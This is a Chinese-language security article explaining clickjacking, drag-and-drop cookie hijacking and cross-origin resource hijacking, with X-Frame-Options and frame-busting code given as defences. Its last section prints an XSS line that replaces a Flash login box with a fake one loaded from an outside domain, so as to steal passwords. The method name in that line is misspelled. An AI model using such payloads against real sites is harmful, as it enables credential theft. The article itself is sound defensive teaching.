HTML5安全攻防之劫持攻擊
ClickJacking-點選劫持
這種攻擊方式正變得越來越普遍。被攻擊的頁面作為iframe,用Mask的方式設定為透明放在上層,惡意程式碼偷偷地放在後面的頁面中,使得一個頁面看起來似乎是安全的,然後誘騙使用者點選網頁上的內容,達到竊取使用者資訊或者劫持使用者操作的目的。下圖中,欺詐的頁面放置在下層,被攻擊的銀行頁面作為透明的層放置在上層,使用者看到的是欺詐頁面上顯示的資訊並進行輸入和點選,但是真正的使用者行為是發生在銀行頁面上的。
想象一下,點選劫持可以誘使你釋出一條虛假微博、或者傳送一封虛假郵件甚至盜取你的個人資訊。例如下圖可以誘使我們釋出一條虛假的Twitter訊息。
這裡有一個測試工具clickjacktest可以檢測你的頁面是否有點選劫持的風險,你可以輸入一個網址並點選Test,如果頁面可以正常顯示並載入,那麼表示這個頁面存在被點選劫持攻擊的風險,如果頁面顯示為一片空白,那麼表示頁面比較安全。
CookieJacking-Cookie劫持
ClickJacking只涉及點選操作,但是HTML5的拖放API使得這種攻擊擴大到拖放操作。因為現在Web應用裡,有大量需要使用者拖放完成的操作。在同源策略裡,一個域的Cookie只能被本域所訪問,但是拖放操作是不受同源策略限制的,這樣利用拖放操作、XSS和其他技巧,可以構造跨域合法請求,劫持Cookie。
把Cookie從一個域拖拽到另外一個域裡
實現原理其實和ClickJacking類似,只要欺騙使用者進行拖放行為,就可以把使用者某個域的資訊傳送到另外一個域裡。這個其實很容易做到,之前有一個研究者就在Facebook上建立了一個應用,這個應用的功能是讓使用者把圖片上美女的衣服拖拽下來。我想可能大多數人都會去嘗試而且不會有警惕心理。
一個誘騙拖放的小遊戲
我們應當如何防止ClickJacking、CookieJacking呢?
1、X-Frame-Options:所有的現代瀏覽器都支援X-Frame-Options HTTP頭,這個頭允許頁面被iframe使用時是否正常渲染。下圖中的頁面就是當X-Frame-Options生效時的效果。
2、Javascript方式
這種方式非常常見,具體程式碼就是:
if (top !==window)
top.location = window.location.href;
Facebook和Twitter都使用了這種方式,但是這種方式並不是完全奏效的,例如攻擊者可以使用204轉向或者禁用Javascript的方式來繞過(例如iframe沙箱)。
不過現在至少80%以上的網站都沒有注意到點選劫持和cookie劫持的問題並加以保護。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式並有針對性的進行防禦。
CORJacking-跨域資源劫持
CORJacking是指跨源資源劫持。HTML5應用有各種不同的資源,例如Flash檔案,Silverligh,視訊,音訊等,這些資源可以通過DOM訪問和控制。如果頁面存在XSS漏洞,那麼攻擊者可能通過跨域資源的劫持進行攻擊。例如下面的程式碼載入了一個swf檔案,作為使用者登入框,這裡面我們可以實現一些加密的邏輯。
<object classid=“clsid:xxxxxxx-xxxx-xxxx-xxxxxx” id=“Login” width=“100%”height=“100%” codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab>
<param name=“movie”value=“Login.swf” />
<param name=“quality”value=“high” />
<embed src=“Login.swf”quality=“high” width=“50%” height=“50%”>
</object>
當頁面存在XSS漏洞時,攻擊者可以利用如下指令碼把swf檔案替換為欺詐的虛假資源。
document.getElementByName(‘Login’).item(0).src=‘http://蔚可雲.cn/login.swf’;
那麼當用戶在這樣的登入框裡輸入自己的使用者名稱和密碼並登入時,他的帳號就已經被盜取了。